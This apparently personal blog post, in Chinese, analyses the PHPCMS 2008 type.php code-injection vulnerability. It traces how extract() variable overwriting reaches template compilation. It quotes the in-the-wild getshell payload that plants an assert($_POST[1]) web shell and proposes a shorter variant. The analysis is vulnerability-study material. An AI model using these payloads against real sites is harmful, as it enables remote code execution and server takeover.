PHPCMS 2008 代码注入漏洞

前几天phpcms 2008爆了前台代码注入漏洞,导致getshell。虽然版本已经很老了,但是payload原理、构成还是值得学习的,我也看其他文章审计了一下,今天有空记录一下复现过程。

入口

漏洞的入口在根目录下type.php文件中,有如下两行代码:

1
2
3
4
5
6
7
8
9
10
require dirname(__FILE__).'/include/common.inc.php';
···
if(empty($template)) $template = 'type';
//上述代码相当于:
//if(empty($template))
//{
// $template = 'type';
//}
···
include template('phpcms', $template);

type.php文件中引入了common.inc.php,末尾调用了template函数,include会在脚本所在目录或者当前工作目录下寻找文件(官方文档有写),最终发现template函数在./global.func.php中定义。

利用链

跟踪一下该函数:

所需要的常量定义在config.inc.php中:

1
2
define('TPL_CACHEPATH', PHPCMS_ROOT.'data/cache_template/'); //模板缓存物理路径
define('TPL_REFRESH', 1); //是否开启模板缓存自动刷新

在type.php引入的common.inc.php文件中存在如下代码:

MAGIC_QUOTES_GPC默认是不开启的,extract函数中的第二个参数EXTR_SKIP,的作用是:如果与已声明变量有冲突,不覆盖已有的变量。该段代码中的escape函数无须去考虑,是用来过滤sql注入的,在这里不影响我们的代码注入payload。
到这里我们可以利用extract函数来覆盖任意变量。因此$compiledtplfile文件路径可控且默认开启模板缓存自动刷新,所以很容易触发template_compile()函数。
继续跟进template_compile()函数,在/include/template.func.php中。

只需要关心箭头标注的部分。由于变量template同时参与文件的路径生成和内容的生成,且该变量可控,导致代码注入漏洞的产生。
只要满足template变量的值开头为tag_,将函数结构补充完整,并注释掉后面的内容即可。

对于payload的研究

网上被捕获的payload为:template=tag_(){};@unlink(__FILE_);assert($POST[1]);{//../rss
分析完漏洞的成因再看payload的确很容易明白,但是我实在没看懂为什么要加unlink这个函数。。。这里有一个地方个人感觉很灵性,就是最后面的 “//../“,这个双斜线既可以当作注释符又被后面的../利用来跳转目录。复现完这个漏洞,总的来说还是学到了一些东西。
最后我觉得payload完全可以tag(){};assert($_POST[1]);{//../x这样写:)。
以一张生成文件的内容图片结尾,有助于对payload构成的理解。

参考文献

PHPCMS2008 type.php代码注入高危漏洞预警

Know it then do it.

文章目录
  1. 1. 入口
  2. 2. 利用链
  3. 3. 对于payload的研究
  • 参考文献
  • Know it then do it.